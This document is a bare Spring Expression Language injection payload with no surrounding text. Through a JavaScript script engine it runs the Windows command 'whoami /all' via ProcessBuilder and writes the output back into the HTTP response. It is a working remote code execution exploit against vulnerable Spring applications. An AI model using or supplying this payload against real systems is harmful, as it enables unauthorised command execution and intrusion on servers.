T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("var pb = new java.lang.ProcessBuilder['(java.lang.String[])']([ 'cmd', '/c', 'whoami /all', ]); pb.redirectErrorStream(true); var p = pb.start(); var stdout = new java.io.BufferedReader( new java.io.InputStreamReader(p.getInputStream())); var s = '_'; while ((line = stdout.readLine()) != null) { s += line + '\n'; } s;").getBytes(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())==0